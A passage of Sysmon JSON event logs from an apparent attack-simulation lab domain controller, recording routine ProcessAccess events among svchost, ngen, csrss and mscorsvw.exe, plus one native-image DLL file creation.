C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:23.447","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42CF-5F2D-0000-00103ADF0D00}","TargetProcessId":"3032","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7501,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:23.557\r\nProcessGuid: {90617006-42CF-5F2D-0000-00103ADF0D00}\r\nProcessId: 3032\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\bd8-0\\System.Data.DataSetExtensions.dll\r\nCreationUtcTime: 2020-08-07 12:02:23.557","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:23.557","ProcessGuid":"{90617006-42CF-5F2D-0000-00103ADF0D00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\bd8-0\\System.Data.DataSetExtensions.dll","CreationUtcTime":"2020-08-07 12:02:23.557","EventReceivedTime":"2020-08-07 12:02:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7502,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:23.604\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42CF-5F2D-0000-001010E30D00}\r\nTargetProcessId: 3540\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:23.604","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42CF-5F2D-0000-001010E30D00}","TargetProcessId":"3540","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7503,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:23.604\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42CF-5F2D-0000-001010E30D00}\r\nTargetProcessId: 3540\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:23.604","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42CF-5F2D-0000-001010E30D00}","TargetProcessId":"3540","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7504,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:23.604\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42CF-5F2D-0000-001010E30D00}\r\nTargetProcessId: 3540\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:23.604","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42CF-5F2D-0000-001010E30D00}","TargetProcessId":"3540","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7505,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:23.885\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B5-5F2D-0000-001054890C00}\r\nTargetProcessId: 3784\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:23.885","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B5-5F2D-0000-001054890C00}","TargetProcessId":"3784","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7506,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:23.885\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B5-5F2D-0000-001054890C00}\r\nTargetProcessId: 3784\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:23.885","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B5-5F2D-0000-001054890C00}","TargetProcessId":"3784","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7507,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:23.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42CF-5F2D-0000-001018E70D00}\r\nTargetProcessId: 3784\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:23.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42CF-5F2D-0000-001018E70D00}","TargetProcessId":"3784","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7508,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:33.260\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010BDA90000}\r\nSourceProcessId: 628\r\nSourceThreadId: 1932\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:33.260","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010BDA90000}","SourceProcessId":"628","SourceThreadId":"1932","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7509,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:33.260\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010BDA90000}\r\nSourceProcessId: 628\r\nSourceThreadId: 1932\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-001032600800}\r\nTargetProcessId: 808\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 